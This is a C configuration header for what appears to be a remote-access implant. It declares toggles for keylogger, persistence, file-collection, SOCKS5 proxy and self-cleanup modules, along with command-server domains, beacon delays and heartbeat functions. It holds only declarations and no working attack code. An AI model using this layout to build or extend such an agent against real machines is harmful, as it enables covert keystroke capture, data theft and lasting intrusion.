#ifndef CONFIG_H
#define CONFIG_H

#include "transport.h"

// For builds with make
#ifndef TESTING_BUILD
    #define TESTING_BUILD FALSE
#endif


// Transport selection
#ifndef USE_HTTP
    #define USE_HTTP FALSE
#endif

#ifndef USE_WOLFSSL
    #define USE_WOLFSSL FALSE
#endif

#ifndef USE_SCHANNEL
    #define USE_SCHANNEL FALSE
#endif


// ===== Modules ===== 
#ifndef ENABLE_PERSISTENCE
    #define ENABLE_PERSISTENCE FALSE
#endif

#ifndef ENABLE_KEYLOGGER
    #define ENABLE_KEYLOGGER FALSE
#endif

// Auto-startup settings (will not work if corresponding module is set to true)
#ifndef AUTO_PERSISTENCE
    #define AUTO_PERSISTENCE FALSE
#endif

#ifndef AUTO_KEYLOGGER
    #define AUTO_KEYLOGGER FALSE
#endif

#ifndef AUTO_FILES
    #define AUTO_FILES FALSE
#endif

// Socks5 proxy module
#ifndef ENABLE_PROXY
    #define ENABLE_PROXY FALSE
#endif

// Method of cleanup - TRUE = bat, FALSE = cmd
#ifndef CLEANUP_METHOD
    #define CLEANUP_METHOD FALSE 
#endif


// Shared configuration variables
extern char agent_id[];
extern char* server_domains[];
extern unsigned short int domain_count;
extern unsigned short int server_port;
extern int reconnect_delay;
extern int startup_delay;
extern int keylog_delay;
extern int files_delay;
extern short int first_connection;

// Shared thread handles
extern HANDLE hKeylogThread;
extern HANDLE hKeylogTimerThread;
extern HANDLE hFilesTimerThread;

// Shared functions
extern char* GetNextDomain();
extern void SendHeartbeat(Transport* transport);
extern void ReceiveResponse(Transport* transport);
extern void Cleanup();

#endif // CONFIG_H